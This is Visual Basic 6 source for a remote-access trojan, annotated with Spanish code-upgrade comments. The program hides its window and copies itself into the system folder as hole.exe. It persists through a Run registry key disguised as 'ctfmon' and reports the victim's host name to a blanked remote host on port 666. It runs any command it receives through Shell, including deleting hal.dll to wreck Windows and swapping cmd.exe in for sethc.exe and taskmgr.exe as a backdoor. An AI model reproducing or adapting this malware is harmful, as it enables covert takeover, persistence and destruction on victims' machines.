Private Sub cmdconectar_Click()
On Error GoTo error
If Not wsk.State = 7 Then GoTo puente
GoTo error
puente:
wsk.Close
wsk.Connect
error:
End Sub

Public Sub Form_Load()
Dim ejec As String
'FIXIT: Declare 'win' and 'sys' and 'residencia' con un tipo de datos de enlace en tiempo de compilación     FixIT90210ae-R1672-R1B8ZE
Dim win, sys, residencia
On Error Resume Next

wsk.Protocol = sckTCPProtocol
wsk.RemoteHost = "----------------"
wsk.RemotePort = "666"
ejec = App.Path

If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

'FIXIT: Reemplazar la función 'LCase' con la función 'LCase$'.                             FixIT90210ae-R9757-R1B8ZE
win = LCase(win)
'FIXIT: Reemplazar la función 'LCase' con la función 'LCase$'.                             FixIT90210ae-R9757-R1B8ZE
sys = LCase(sys)
If Dir(sys & "\hole.exe", vbArchive) Then Kill sys & "\hole.exe"
FileCopy MSWINSCK.OCX, sys & "\MSWINSCK.OCX"
FileCopy ejec, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

'FIXIT: App.TaskVisible property no tiene equivalente en Visual Basic .NET y no se actualizará.     FixIT90210ae-R7593-R67265
App.TaskVisible = False

txthost = wsk.LocalHostName

wsk.SendData txthost
End Sub

Private Sub Timer1_Timer()
On Error GoTo error
If Not wsk.State = 7 Then Call cmdconectar_Click
error:
End Sub

Private Sub Timer2_Timer()
Dim sistrema As String
sistrema = Environ$("windir") & "\system32"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sistrema & "\hole.exe"
End Sub

Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String
On Error GoTo error
sistrema = Environ$("windir") & "\system32"
wsk.GetData orden
If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
Shell orden
error:
End Sub